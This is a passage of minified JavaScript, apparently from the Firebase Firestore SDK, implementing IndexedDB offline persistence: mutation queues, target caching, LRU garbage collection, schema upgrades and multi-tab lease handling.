Om(t).$t({index:Sg.userMutationsIndex,range:i},function(t,e,i){e.userId===n.userId&&(nh(e.batchId>=r),o=um(n.R,e)),i.done()}).next(function(){return o})},t.prototype.getHighestUnacknowledgedBatchId=function(t){var e=IDBKeyRange.upperBound([this.userId,Number.POSITIVE_INFINITY]),n=-1;return Om(t).$t({index:Sg.userMutationsIndex,range:e,reverse:!0},function(t,e,r){n=e.batchId,r.done()}).next(function(){return n})},t.prototype.getAllMutationBatches=function(t){var e=this,n=IDBKeyRange.bound([this.userId,-1],[this.userId,Number.POSITIVE_INFINITY]);return Om(t).Nt(Sg.userMutationsIndex,n).next(function(t){return t.map(function(t){return um(e.R,t)})})},t.prototype.getAllMutationBatchesAffectingDocumentKey=function(t,e){var n=this,r=Mg.prefixForPath(this.userId,e.path),i=IDBKeyRange.lowerBound(r),o=[];return Em(t).$t({range:i},function(r,i,s){var a=r[0],c=r[2],l=Cg(r[1]);if(a===n.userId&&e.path.isEqual(l))return Om(t).get(c).next(function(t){if(!t)throw eh();nh(t.userId===n.userId),o.push(um(n.R,t))});s.done()}).next(function(){return o})},t.prototype.getAllMutationBatchesAffectingDocumentKeys=function(t,e){var n=this,r=new bf(sh),i=[];return e.forEach(function(e){var o=Mg.prefixForPath(n.userId,e.path),s=IDBKeyRange.lowerBound(o),a=Em(t).$t({range:s},function(t,i,o){var s=t[0],a=t[2],c=Cg(t[1]);s===n.userId&&e.path.isEqual(c)?r=r.add(a):o.done()});i.push(a)}),zg.waitFor(i).next(function(){return n.Wt(t,r)})},t.prototype.getAllMutationBatchesAffectingQuery=function(t,e){var n=this,r=e.path,i=r.length+1,o=Mg.prefixForPath(this.userId,r),s=IDBKeyRange.lowerBound(o),a=new bf(sh);return Em(t).$t({range:s},function(t,e,o){var s=t[0],c=t[2],l=Cg(t[1]);s===n.userId&&r.isPrefixOf(l)?l.length===i&&(a=a.add(c)):o.done()}).next(function(){return n.Wt(t,a)})},t.prototype.Wt=function(t,e){var n=this,r=[],i=[];return e.forEach(function(e){i.push(Om(t).get(e).next(function(t){if(null===t)throw eh();nh(t.userId===n.userId),r.push(um(n.R,t))}))}),zg.waitFor(i).next(function(){return r})},t.prototype.removeMutationBatch=function(t,e){var n=this;return xm(t.Mt,this.userId,e).next(function(r){return t.addOnCommittedListener(function(){n.Gt(e.batchId)}),zg.forEach(r,function(e){return n.referenceDelegate.markPotentiallyOrphaned(t,e)})})},t.prototype.Gt=function(t){delete this.Qt[t]},t.prototype.performConsistencyCheck=function(t){var e=this;return this.checkEmpty(t).next(function(n){if(!n)return zg.resolve();var r=IDBKeyRange.lowerBound(Mg.prefixForUser(e.userId)),i=[];return Em(t).$t({range:r},function(t,n,r){if(t[0]===e.userId){var o=Cg(t[1]);i.push(o)}else r.done()}).next(function(){nh(0===i.length)})})},t.prototype.containsKey=function(t,e){return Mm(t,this.userId,e)},t.prototype.zt=function(t){var e=this;return Tm(t).get(this.userId).next(function(t){return t||new Pg(e.userId,-1,"")})},t}();function Mm(t,e,n){var r=Mg.prefixForPath(e,n.path),i=r[1],o=IDBKeyRange.lowerBound(r),s=!1;return Em(t).$t({range:o,kt:!0},function(t,n,r){t[0]===e&&t[1]===i&&(s=!0),r.done()}).next(function(){return s})}function Om(t){return Jg(t,Sg.store)}function Em(t){return Jg(t,Mg.store)}function Tm(t){return Jg(t,Pg.store)}var Im=function(){function t(t){this.Ht=t}return t.prototype.next=function(){return this.Ht+=2,this.Ht},t.Jt=function(){return new t(0)},t.Yt=function(){return new t(-1)},t}(),km=function(){function t(t,e){this.referenceDelegate=t,this.R=e}return t.prototype.allocateTargetId=function(t){var e=this;return this.Xt(t).next(function(n){var r=new Im(n.highestTargetId);return n.highestTargetId=r.next(),e.Zt(t,n).next(function(){return n.highestTargetId})})},t.prototype.getLastRemoteSnapshotVersion=function(t){return this.Xt(t).next(function(t){return uh.fromTimestamp(new lh(t.lastRemoteSnapshotVersion.seconds,t.lastRemoteSnapshotVersion.nanoseconds))})},t.prototype.getHighestSequenceNumber=function(t){return this.Xt(t).next(function(t){return t.highestListenSequenceNumber})},t.prototype.setTargetsMetadata=function(t,e,n){var r=this;return this.Xt(t).next(function(i){return i.highestListenSequenceNumber=e,n&&(i.lastRemoteSnapshotVersion=n.toTimestamp()),e>i.highestListenSequenceNumber&&(i.highestListenSequenceNumber=e),r.Zt(t,i)})},t.prototype.addTargetData=function(t,e){var n=this;return this.te(t,e).next(function(){return n.Xt(t).next(function(r){return r.targetCount+=1,n.ee(e,r),n.Zt(t,r)})})},t.prototype.updateTargetData=function(t,e){return this.te(t,e)},t.prototype.removeTargetData=function(t,e){var n=this;return this.removeMatchingKeysForTargetId(t,e.targetId).next(function(){return Am(t).delete(e.targetId)}).next(function(){return n.Xt(t)}).next(function(e){return nh(e.targetCount>0),e.targetCount-=1,n.Zt(t,e)})},t.prototype.removeTargets=function(t,e,n){var r=this,i=0,o=[];return Am(t).$t(function(s,a){var c=dm(a);c.sequenceNumber<=e&&null===n.get(c.targetId)&&(i++,o.push(r.removeTargetData(t,c)))}).next(function(){return zg.waitFor(o)}).next(function(){return i})},t.prototype.forEachTarget=function(t,e){return Am(t).$t(function(t,n){var r=dm(n);e(r)})},t.prototype.Xt=function(t){return Dm(t).get(Dg.key).next(function(t){return nh(null!==t),t})},t.prototype.Zt=function(t,e){return Dm(t).put(Dg.key,e)},t.prototype.te=function(t,e){return Am(t).put(hm(this.R,e))},t.prototype.ee=function(t,e){var n=!1;return t.targetId>e.highestTargetId&&(e.highestTargetId=t.targetId,n=!0),t.sequenceNumber>e.highestListenSequenceNumber&&(e.highestListenSequenceNumber=t.sequenceNumber,n=!0),n},t.prototype.getTargetCount=function(t){return this.Xt(t).next(function(t){return t.targetCount})},t.prototype.getTargetData=function(t,e){var n=Xh(e),r=IDBKeyRange.bound([n,Number.NEGATIVE_INFINITY],[n,Number.POSITIVE_INFINITY]),i=null;return Am(t).$t({range:r,index:kg.queryTargetsIndexName},function(t,n,r){var o=dm(n);Zh(e,o.target)&&(i=o,r.done())}).next(function(){return i})},t.prototype.addMatchingKeys=function(t,e,n){var r=this,i=[],o=Nm(t);return e.forEach(function(e){var s=bg(e.path);i.push(o.put(new Ag(n,s))),i.push(r.referenceDelegate.addReference(t,n,e))}),zg.waitFor(i)},t.prototype.removeMatchingKeys=function(t,e,n){var r=this,i=Nm(t);return zg.forEach(e,function(e){var o=bg(e.path);return zg.waitFor([i.delete([n,o]),r.referenceDelegate.removeReference(t,n,e)])})},t.prototype.removeMatchingKeysForTargetId=function(t,e){var n=Nm(t),r=IDBKeyRange.bound([e],[e+1],!1,!0);return n.delete(r)},t.prototype.getMatchingKeysForTargetId=function(t,e){var n=IDBKeyRange.bound([e],[e+1],!1,!0),r=Nm(t),i=Of();return r.$t({range:n,kt:!0},function(t,e,n){var r=Cg(t[1]),o=new Ih(r);i=i.add(o)}).next(function(){return i})},t.prototype.containsKey=function(t,e){var n=bg(e.path),r=IDBKeyRange.bound([n],[ch(n)],!1,!0),i=0;return Nm(t).$t({index:Ag.documentTargetsIndex,kt:!0,range:r},function(t,e,n){0!==t[0]&&(i++,n.done())}).next(function(){return i>0})},t.prototype.lt=function(t,e){return Am(t).get(e).next(function(t){return t?dm(t):null})},t}();function Am(t){return Jg(t,kg.store)}function Dm(t){return Jg(t,Dg.store)}function Nm(t){return Jg(t,Ag.store)}function Rm(t){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){if(t.code!==Kd.FAILED_PRECONDITION||t.message!==Vg)throw t;return Zd("LocalStore","Unexpectedly lost primary lease"),[2]})})}function Lm(t,e){var n=t[1],r=e[1],i=sh(t[0],e[0]);return 0===i?sh(n,r):i}var jm=function(){function t(t){this.ne=t,this.buffer=new bf(Lm),this.se=0}return t.prototype.ie=function(){return++this.se},t.prototype.re=function(t){var e=[t,this.ie()];if(this.buffer.size<this.ne)this.buffer=this.buffer.add(e);else{var n=this.buffer.last();Lm(e,n)<0&&(this.buffer=this.buffer.delete(n).add(e))}},Object.defineProperty(t.prototype,"maxValue",{get:function(){return this.buffer.last()[0]},enumerable:!1,configurable:!0}),t}(),Fm=function(){function t(t,e){this.garbageCollector=t,this.asyncQueue=e,this.oe=!1,this.ce=null}return t.prototype.start=function(t){-1!==this.garbageCollector.params.cacheSizeCollectionThreshold&&this.ue(t)},t.prototype.stop=function(){this.ce&&(this.ce.cancel(),this.ce=null)},Object.defineProperty(t.prototype,"started",{get:function(){return null!==this.ce},enumerable:!1,configurable:!0}),t.prototype.ue=function(t){var e=this,n=this.oe?3e5:6e4;Zd("LruGarbageCollector","Garbage collection scheduled in "+n+"ms"),this.ce=this.asyncQueue.enqueueAfterDelay("lru_garbage_collection",n,function(){return(0,Zo.mG)(e,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:this.ce=null,this.oe=!0,n.label=1;case 1:return n.trys.push([1,3,,7]),[4,t.collectGarbage(this.garbageCollector)];case 2:return n.sent(),[3,7];case 3:return Kg(e=n.sent())?(Zd("LruGarbageCollector","Ignoring IndexedDB error during garbage collection: ",e),[3,6]):[3,4];case 4:return[4,Rm(e)];case 5:n.sent(),n.label=6;case 6:return[3,7];case 7:return[4,this.ue(t)];case 8:return n.sent(),[2]}})})})},t}(),Vm=function(){function t(t,e){this.ae=t,this.params=e}return t.prototype.calculateTargetCount=function(t,e){return this.ae.he(t).next(function(t){return Math.floor(e/100*t)})},t.prototype.nthSequenceNumber=function(t,e){var n=this;if(0===e)return zg.resolve(Wd.o);var r=new jm(e);return this.ae.forEachTarget(t,function(t){return r.re(t.sequenceNumber)}).next(function(){return n.ae.le(t,function(t){return r.re(t)})}).next(function(){return r.maxValue})},t.prototype.removeTargets=function(t,e,n){return this.ae.removeTargets(t,e,n)},t.prototype.removeOrphanedDocuments=function(t,e){return this.ae.removeOrphanedDocuments(t,e)},t.prototype.collect=function(t,e){var n=this;return-1===this.params.cacheSizeCollectionThreshold?(Zd("LruGarbageCollector","Garbage collection skipped; disabled"),zg.resolve(Cm)):this.getCacheSize(t).next(function(r){return r<n.params.cacheSizeCollectionThreshold?(Zd("LruGarbageCollector","Garbage collection skipped; Cache size "+r+" is lower than threshold "+n.params.cacheSizeCollectionThreshold),Cm):n.fe(t,e)})},t.prototype.getCacheSize=function(t){return this.ae.getCacheSize(t)},t.prototype.fe=function(t,e){var n,r,i,o,s,a,c,l=this,u=Date.now();return this.calculateTargetCount(t,this.params.percentileToCollect).next(function(e){return e>l.params.maximumSequenceNumbersToCollect?(Zd("LruGarbageCollector","Capping sequence numbers to collect down to the maximum of "+l.params.maximumSequenceNumbersToCollect+" from "+e),r=l.params.maximumSequenceNumbersToCollect):r=e,o=Date.now(),l.nthSequenceNumber(t,r)}).next(function(r){return n=r,s=Date.now(),l.removeTargets(t,n,e)}).next(function(e){return i=e,a=Date.now(),l.removeOrphanedDocuments(t,n)}).next(function(t){return c=Date.now(),Xd()<=La.in.DEBUG&&Zd("LruGarbageCollector","LRU Garbage Collection\n\tCounted targets in "+(o-u)+"ms\n\tDetermined least recently used "+r+" in "+(s-o)+"ms\n\tRemoved "+i+" targets in "+(a-s)+"ms\n\tRemoved "+t+" documents in "+(c-a)+"ms\nTotal Duration: "+(c-u)+"ms"),zg.resolve({didRun:!0,sequenceNumbersCollected:r,targetsRemoved:i,documentsRemoved:t})})},t}(),Bm=function(){function t(t,e){this.db=t,this.garbageCollector=new Vm(this,e)}return t.prototype.he=function(t){var e=this.de(t);return this.db.getTargetCache().getTargetCount(t).next(function(t){return e.next(function(e){return t+e})})},t.prototype.de=function(t){var e=0;return this.le(t,function(t){e++}).next(function(){return e})},t.prototype.forEachTarget=function(t,e){return this.db.getTargetCache().forEachTarget(t,e)},t.prototype.le=function(t,e){return this.we(t,function(t,n){return e(n)})},t.prototype.addReference=function(t,e,n){return Hm(t,n)},t.prototype.removeReference=function(t,e,n){return Hm(t,n)},t.prototype.removeTargets=function(t,e,n){return this.db.getTargetCache().removeTargets(t,e,n)},t.prototype.markPotentiallyOrphaned=function(t,e){return Hm(t,e)},t.prototype._e=function(t,e){return r=e,i=!1,Tm(n=t).Ot(function(t){return Mm(n,t,r).next(function(t){return t&&(i=!0),zg.resolve(!t)})}).next(function(){return i});var n,r,i},t.prototype.removeOrphanedDocuments=function(t,e){var n=this,r=this.db.getRemoteDocumentCache().newChangeBuffer(),i=[],o=0;return this.we(t,function(s,a){if(a<=e){var c=n._e(t,s).next(function(e){if(!e)return o++,r.getEntry(t,s).next(function(){return r.removeEntry(s),Nm(t).delete([0,bg(s.path)])})});i.push(c)}}).next(function(){return zg.waitFor(i)}).next(function(){return r.apply(t)}).next(function(){return o})},t.prototype.removeTarget=function(t,e){var n=e.withSequenceNumber(t.currentSequenceNumber);return this.db.getTargetCache().updateTargetData(t,n)},t.prototype.updateLimboDocument=function(t,e){return Hm(t,e)},t.prototype.we=function(t,e){var n,r=Nm(t),i=Wd.o;return r.$t({index:Ag.documentTargetsIndex},function(t,r){var o=r.path,s=r.sequenceNumber;0===t[0]?(i!==Wd.o&&e(new Ih(Cg(n)),i),i=s,n=o):i=Wd.o}).next(function(){i!==Wd.o&&e(new Ih(Cg(n)),i)})},t.prototype.getCacheSize=function(t){return this.db.getRemoteDocumentCache().getSize(t)},t}();function Hm(t,e){return Nm(t).put((n=t.currentSequenceNumber,new Ag(0,bg(e.path),n)));var n}var zm=function(){function t(t,e){this.mapKeyFn=t,this.equalsFn=e,this.inner={}}return t.prototype.get=function(t){var e=this.mapKeyFn(t),n=this.inner[e];if(void 0!==n)for(var r=0,i=n;r<i.length;r++){var o=i[r],s=o[1];if(this.equalsFn(o[0],t))return s}},t.prototype.has=function(t){return void 0!==this.get(t)},t.prototype.set=function(t,e){var n=this.mapKeyFn(t),r=this.inner[n];if(void 0!==r){for(var i=0;i<r.length;i++)if(this.equalsFn(r[i][0],t))return void(r[i]=[t,e]);r.push([t,e])}else this.inner[n]=[[t,e]]},t.prototype.delete=function(t){var e=this.mapKeyFn(t),n=this.inner[e];if(void 0===n)return!1;for(var r=0;r<n.length;r++)if(this.equalsFn(n[r][0],t))return 1===n.length?delete this.inner[e]:n.splice(r,1),!0;return!1},t.prototype.forEach=function(t){hh(this.inner,function(e,n){for(var r=0,i=n;r<i.length;r++){var o=i[r];t(o[0],o[1])}})},t.prototype.isEmpty=function(){return ph(this.inner)},t}(),Gm=function(){function t(){this.changes=new zm(function(t){return t.toString()},function(t,e){return t.isEqual(e)}),this.changesApplied=!1}return t.prototype.getReadTime=function(t){var e=this.changes.get(t);return e?e.readTime:uh.min()},t.prototype.addEntry=function(t,e){this.assertNotApplied(),this.changes.set(t.key,{document:t,readTime:e})},t.prototype.removeEntry=function(t,e){void 0===e&&(e=null),this.assertNotApplied(),this.changes.set(t,{document:Kh.newInvalidDocument(t),readTime:e})},t.prototype.getEntry=function(t,e){this.assertNotApplied();var n=this.changes.get(e);return void 0!==n?zg.resolve(n.document):this.getFromCache(t,e)},t.prototype.getEntries=function(t,e){return this.getAllFromCache(t,e)},t.prototype.apply=function(t){return this.assertNotApplied(),this.changesApplied=!0,this.applyChanges(t)},t.prototype.assertNotApplied=function(){},t}(),Um=function(){function t(t,e){this.R=t,this.Ut=e}return t.prototype.addEntry=function(t,e,n){return Km(t).put($m(e),n)},t.prototype.removeEntry=function(t,e){var n=Km(t),r=$m(e);return n.delete(r)},t.prototype.updateMetadata=function(t,e){var n=this;return this.getMetadata(t).next(function(r){return r.byteSize+=e,n.me(t,r)})},t.prototype.getEntry=function(t,e){var n=this;return Km(t).get($m(e)).next(function(t){return n.ye(e,t)})},t.prototype.ge=function(t,e){var n=this;return Km(t).get($m(e)).next(function(t){return{document:n.ye(e,t),size:Pm(t)}})},t.prototype.getEntries=function(t,e){var n=this,r=Cf();return this.pe(t,e,function(t,e){var i=n.ye(t,e);r=r.insert(t,i)}).next(function(){return r})},t.prototype.Ee=function(t,e){var n=this,r=Cf(),i=new gf(Ih.comparator);return this.pe(t,e,function(t,e){var o=n.ye(t,e);r=r.insert(t,o),i=i.insert(t,Pm(e))}).next(function(){return{documents:r,Te:i}})},t.prototype.pe=function(t,e,n){if(e.isEmpty())return zg.resolve();var r=IDBKeyRange.bound(e.first().path.toArray(),e.last().path.toArray()),i=e.getIterator(),o=i.getNext();return Km(t).$t({range:r},function(t,e,r){for(var s=Ih.fromSegments(t);o&&Ih.comparator(o,s)<0;)n(o,null),o=i.getNext();o&&o.isEqual(s)&&(n(o,e),o=i.hasNext()?i.getNext():null),o?r.Ct(o.path.toArray()):r.done()}).next(function(){for(;o;)n(o,null),o=i.hasNext()?i.getNext():null})},t.prototype.getDocumentsMatchingQuery=function(t,e,n){var r=this,i=Cf(),o=e.path.length+1,s={};if(n.isEqual(uh.min())){var a=e.path.toArray();s.range=IDBKeyRange.lowerBound(a)}else{var c=e.path.toArray(),l=sm(n);s.range=IDBKeyRange.lowerBound([c,l],!0),s.index=Tg.collectionReadTimeIndex}return Km(t).$t(s,function(t,n,s){if(t.length===o){var a=im(r.R,n);e.path.isPrefixOf(a.key.path)?Ep(e,a)&&(i=i.insert(a.key,a)):s.done()}}).next(function(){return i})},t.prototype.newChangeBuffer=function(t){return new qm(this,!!t&&t.trackRemovals)},t.prototype.getSize=function(t){return this.getMetadata(t).next(function(t){return t.byteSize})},t.prototype.getMetadata=function(t){return Wm(t).get(Ig.key).next(function(t){return nh(!!t),t})},t.prototype.me=function(t,e){return Wm(t).put(Ig.key,e)},t.prototype.ye=function(t,e){if(e){var n=im(this.R,e);if(!n.isNoDocument()||!n.version.isEqual(uh.min()))return n}return Kh.newInvalidDocument(t)},t}(),qm=function(t){function e(e,n){var r=this;return(r=t.call(this)||this).Ie=e,r.trackRemovals=n,r.Ae=new zm(function(t){return t.toString()},function(t,e){return t.isEqual(e)}),r}return(0,Zo.ZT)(e,t),e.prototype.applyChanges=function(t){var e=this,n=[],r=0,i=new bf(function(t,e){return sh(t.canonicalString(),e.canonicalString())});return this.changes.forEach(function(o,s){var a=e.Ae.get(o);if(s.document.isValidDocument()){var c=om(e.Ie.R,s.document,e.getReadTime(o));i=i.add(o.path.popLast());var l=Pm(c);r+=l-a,n.push(e.Ie.addEntry(t,o,c))}else if(r-=a,e.trackRemovals){var u=om(e.Ie.R,Kh.newNoDocument(o,uh.min()),e.getReadTime(o));n.push(e.Ie.addEntry(t,o,u))}else n.push(e.Ie.removeEntry(t,o))}),i.forEach(function(r){n.push(e.Ie.Ut.addToCollectionParentIndex(t,r))}),n.push(this.Ie.updateMetadata(t,r)),zg.waitFor(n)},e.prototype.getFromCache=function(t,e){var n=this;return this.Ie.ge(t,e).next(function(t){return n.Ae.set(e,t.size),t.document})},e.prototype.getAllFromCache=function(t,e){var n=this;return this.Ie.Ee(t,e).next(function(t){var e=t.documents;return t.Te.forEach(function(t,e){n.Ae.set(t,e)}),e})},e}(Gm);function Wm(t){return Jg(t,Ig.store)}function Km(t){return Jg(t,Tg.store)}function $m(t){return t.path.toArray()}var Qm=function(){function t(t){this.R=t}return t.prototype.Rt=function(t,e,n,r){var i=this;nh(n<r&&n>=0&&r<=11);var o,s=new Gg("createOrUpgrade",e);n<1&&r>=1&&(t.createObjectStore(xg.store),(o=t).createObjectStore(Pg.store,{keyPath:Pg.keyPath}),o.createObjectStore(Sg.store,{keyPath:Sg.keyPath,autoIncrement:!0}).createIndex(Sg.userMutationsIndex,Sg.userMutationsKeyPath,{unique:!0}),o.createObjectStore(Mg.store),Xm(t),function(t){t.createObjectStore(Tg.store)}(t));var a=zg.resolve();return n<3&&r>=3&&(0!==n&&(function(t){t.deleteObjectStore(Ag.store),t.deleteObjectStore(kg.store),t.deleteObjectStore(Dg.store)}(t),Xm(t)),a=a.next(function(){return function(t){var e=t.store(Dg.store),n=new Dg(0,0,uh.min().toTimestamp(),0);return e.put(Dg.key,n)}(s)})),n<4&&r>=4&&(0!==n&&(a=a.next(function(){return function(t,e){return e.store(Sg.store).Nt().next(function(n){t.deleteObjectStore(Sg.store),t.createObjectStore(Sg.store,{keyPath:Sg.keyPath,autoIncrement:!0}).createIndex(Sg.userMutationsIndex,Sg.userMutationsKeyPath,{unique:!0});var r=e.store(Sg.store),i=n.map(function(t){return r.put(t)});return zg.waitFor(i)})}(t,s)})),a=a.next(function(){!function(t){t.createObjectStore(Rg.store,{keyPath:Rg.keyPath})}(t)})),n<5&&r>=5&&(a=a.next(function(){return i.Re(s)})),n<6&&r>=6&&(a=a.next(function(){return function(t){t.createObjectStore(Ig.store)}(t),i.be(s)})),n<7&&r>=7&&(a=a.next(function(){return i.ve(s)})),n<8&&r>=8&&(a=a.next(function(){return i.Pe(t,s)})),n<9&&r>=9&&(a=a.next(function(){(function(t){t.objectStoreNames.contains("remoteDocumentChanges")&&t.deleteObjectStore("remoteDocumentChanges")})(t),function(t){var e=t.objectStore(Tg.store);e.createIndex(Tg.readTimeIndex,Tg.readTimeIndexPath,{unique:!1}),e.createIndex(Tg.collectionReadTimeIndex,Tg.collectionReadTimeIndexPath,{unique:!1})}(e)})),n<10&&r>=10&&(a=a.next(function(){return i.Ve(s)})),n<11&&r>=11&&(a=a.next(function(){(function(t){t.createObjectStore(Lg.store,{keyPath:Lg.keyPath})})(t),function(t){t.createObjectStore(jg.store,{keyPath:jg.keyPath})}(t)})),a},t.prototype.be=function(t){var e=0;return t.store(Tg.store).$t(function(t,n){e+=Pm(n)}).next(function(){var n=new Ig(e);return t.store(Ig.store).put(Ig.key,n)})},t.prototype.Re=function(t){var e=this,n=t.store(Pg.store),r=t.store(Sg.store);return n.Nt().next(function(n){return zg.forEach(n,function(n){var i=IDBKeyRange.bound([n.userId,-1],[n.userId,n.lastAcknowledgedBatchId]);return r.Nt(Sg.userMutationsIndex,i).next(function(r){return zg.forEach(r,function(r){nh(r.userId===n.userId);var i=um(e.R,r);return xm(t,n.userId,i).next(function(){})})})})})},t.prototype.ve=function(t){var e=t.store(Ag.store),n=t.store(Tg.store);return t.store(Dg.store).get(Dg.key).next(function(t){var r=[];return n.$t(function(n,i){var o=new gh(n),s=[0,bg(o)];r.push(e.get(s).next(function(n){return n?zg.resolve():e.put(new Ag(0,bg(o),t.highestListenSequenceNumber))}))}).next(function(){return zg.waitFor(r)})})},t.prototype.Pe=function(t,e){t.createObjectStore(Ng.store,{keyPath:Ng.keyPath});var n=e.store(Ng.store),r=new bm,i=function(t){if(r.add(t)){var e=t.lastSegment(),i=t.popLast();return n.put({collectionId:e,parent:bg(i)})}};return e.store(Tg.store).$t({kt:!0},function(t,e){var n=new gh(t);return i(n.popLast())}).next(function(){return e.store(Mg.store).$t({kt:!0},function(t,e){var n=Cg(t[1]);return i(n.popLast())})})},t.prototype.Ve=function(t){var e=this,n=t.store(kg.store);return n.$t(function(t,r){var i=dm(r),o=hm(e.R,i);return n.put(o)})},t}();function Xm(t){t.createObjectStore(Ag.store,{keyPath:Ag.keyPath}).createIndex(Ag.documentTargetsIndex,Ag.documentTargetsKeyPath,{unique:!0}),t.createObjectStore(kg.store,{keyPath:kg.keyPath}).createIndex(kg.queryTargetsIndexName,kg.queryTargetsKeyPath,{unique:!0}),t.createObjectStore(Dg.store)}var Zm="Failed to obtain exclusive access to the persistence layer. To allow shared access, multi-tab synchronization has to be enabled in all tabs. If you are using `experimentalForceOwningTab:true`, make sure that only one tab has persistence enabled at any given time.",Ym=function(){function t(e,n,r,i,o,s,a,c,l,u){if(this.allowTabSynchronization=e,this.persistenceKey=n,this.clientId=r,this.Se=o,this.window=s,this.document=a,this.De=l,this.Ce=u,this.Ne=null,this.xe=!1,this.isPrimary=!1,this.networkEnabled=!0,this.Fe=null,this.inForeground=!1,this.ke=null,this.$e=null,this.Oe=Number.NEGATIVE_INFINITY,this.Me=function(t){return Promise.resolve()},!t.yt())throw new $d(Kd.UNIMPLEMENTED,"This platform is either missing IndexedDB or is known to have an incomplete implementation. Offline persistence has been disabled.");this.referenceDelegate=new Bm(this,i),this.Le=n+"main",this.R=new rm(c),this.Be=new Ug(this.Le,11,new Qm(this.R)),this.qe=new km(this.referenceDelegate,this.R),this.Ut=new vm,this.Ue=new Um(this.R,this.Ut),this.Qe=new fm,this.window&&this.window.localStorage?this.Ke=this.window.localStorage:(this.Ke=null,!1===u&&Yd("IndexedDbPersistence","LocalStorage is unavailable. As a result, persistence may not work reliably. In particular enablePersistence() could fail immediately after refreshing the page."))}return t.prototype.start=function(){var t=this;return this.je().then(function(){if(!t.isPrimary&&!t.allowTabSynchronization)throw new $d(Kd.FAILED_PRECONDITION,Zm);return t.We(),t.Ge(),t.ze(),t.runTransaction("getHighestListenSequenceNumber","readonly",function(e){return t.qe.getHighestSequenceNumber(e)})}).then(function(e){t.Ne=new Wd(e,t.De)}).then(function(){t.xe=!0}).catch(function(e){return t.Be&&t.Be.close(),Promise.reject(e)})},t.prototype.He=function(t){var e=this;return this.Me=function(n){return(0,Zo.mG)(e,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){return this.started?[2,t(n)]:[2]})})},t(this.isPrimary)},t.prototype.setDatabaseDeletedListener=function(t){var e=this;this.Be.vt(function(n){return(0,Zo.mG)(e,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return null===n.newVersion?[4,t()]:[3,2];case 1:e.sent(),e.label=2;case 2:return[2]}})})})},t.prototype.setNetworkEnabled=function(t){var e=this;this.networkEnabled!==t&&(this.networkEnabled=t,this.Se.enqueueAndForget(function(){return(0,Zo.mG)(e,void 0,void 0,function(){return(0,Zo.Jh)(this,function(t){switch(t.label){case 0:return this.started?[4,this.je()]:[3,2];case 1:t.sent(),t.label=2;case 2:return[2]}})})}))},t.prototype.je=function(){var t=this;return this.runTransaction("updateClientMetadataAndTryBecomePrimary","readwrite",function(e){return ty(e).put(new Rg(t.clientId,Date.now(),t.networkEnabled,t.inForeground)).next(function(){if(t.isPrimary)return t.Je(e).next(function(e){e||(t.isPrimary=!1,t.Se.enqueueRetryable(function(){return t.Me(!1)}))})}).next(function(){return t.Ye(e)}).next(function(n){return t.isPrimary&&!n?t.Xe(e).next(function(){return!1}):!!n&&t.Ze(e).next(function(){return!0})})}).catch(function(e){if(Kg(e))return Zd("IndexedDbPersistence","Failed to extend owner lease: ",e),t.isPrimary;if(!t.allowTabSynchronization)throw e;return Zd("IndexedDbPersistence","Releasing owner lease after error during lease refresh",e),!1}).then(function(e){t.isPrimary!==e&&t.Se.enqueueRetryable(function(){return t.Me(e)}),t.isPrimary=e})},t.prototype.Je=function(t){var e=this;return Jm(t).get(xg.key).next(function(t){return zg.resolve(e.tn(t))})},t.prototype.en=function(t){return ty(t).delete(this.clientId)},t.prototype.nn=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t,e,n,r=this;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return!this.isPrimary||this.sn(this.Oe,18e5)?[3,2]:(this.Oe=Date.now(),[4,this.runTransaction("maybeGarbageCollectMultiClientState","readwrite-primary",function(t){var e=Jg(t,Rg.store);return e.Nt().next(function(t){var n=r.rn(t,18e5),i=t.filter(function(t){return-1===n.indexOf(t)});return zg.forEach(i,function(t){return e.delete(t.clientId)}).next(function(){return i})})}).catch(function(){return[]})]);case 1:if(t=i.sent(),this.Ke)for(e=0,n=t;e<n.length;e++)this.Ke.removeItem(this.on(n[e].clientId));i.label=2;case 2:return[2]}})})},t.prototype.ze=function(){var t=this;this.$e=this.Se.enqueueAfterDelay("client_metadata_refresh",4e3,function(){return t.je().then(function(){return t.nn()}).then(function(){return t.ze()})})},t.prototype.tn=function(t){return!!t&&t.ownerId===this.clientId},t.prototype.Ye=function(t){var e=this;return this.Ce?zg.resolve(!0):Jm(t).get(xg.key).next(function(n){if(null!==n&&e.sn(n.leaseTimestampMs,5e3)&&!e.cn(n.ownerId)){if(e.tn(n)&&e.networkEnabled)return!0;if(!e.tn(n)){if(!n.allowTabSynchronization)throw new $d(Kd.FAILED_PRECONDITION,Zm);return!1}}return!(!e.networkEnabled||!e.inForeground)||ty(t).Nt().next(function(t){return void 0===e.rn(t,5e3).find(function(t){return!(e.clientId===t.clientId||!(!e.networkEnabled&&t.networkEnabled||!e.inForeground&&t.inForeground&&e.networkEnabled===t.networkEnabled))})})}).next(function(t){return e.isPrimary!==t&&Zd("IndexedDbPersistence","Client "+(t?"is":"is not")+" eligible for a primary lease."),t})},t.prototype.shutdown=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t=this;return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return this.xe=!1,this.un(),this.$e&&(this.$e.cancel(),this.$e=null),this.an(),this.hn(),[4,this.Be.runTransaction("shutdown","readwrite",[xg.store,Rg.store],function(e){var n=new Yg(e,Wd.o);return t.Xe(n).next(function(){return t.en(n)})})];case 1:return e.sent(),this.Be.close(),this.ln(),[2]}})})},t.prototype.rn=function(t,e){var n=this;return t.filter(function(t){return n.sn(t.updateTimeMs,e)&&!n.cn(t.clientId)})},t.prototype.fn=function(){var t=this;return this.runTransaction("getActiveClients","readonly",function(e){return ty(e).Nt().next(function(e){return t.rn(e,18e5).map(function(t){return t.clientId})})})},Object.defineProperty(t.prototype,"started",{get:function(){return this.xe},enumerable:!1,configurable:!0}),t.prototype.getMutationQueue=function(t){return Sm.Kt(t,this.R,this.Ut,this.referenceDelegate)},t.prototype.getTargetCache=function(){return this.qe},t.prototype.getRemoteDocumentCache=function(){return this.Ue},t.prototype.getIndexManager=function(){return this.Ut},t.prototype.getBundleCache=function(){return this.Qe},t.prototype.runTransaction=function(t,e,n){var r,i=this;return Zd("IndexedDbPersistence","Starting 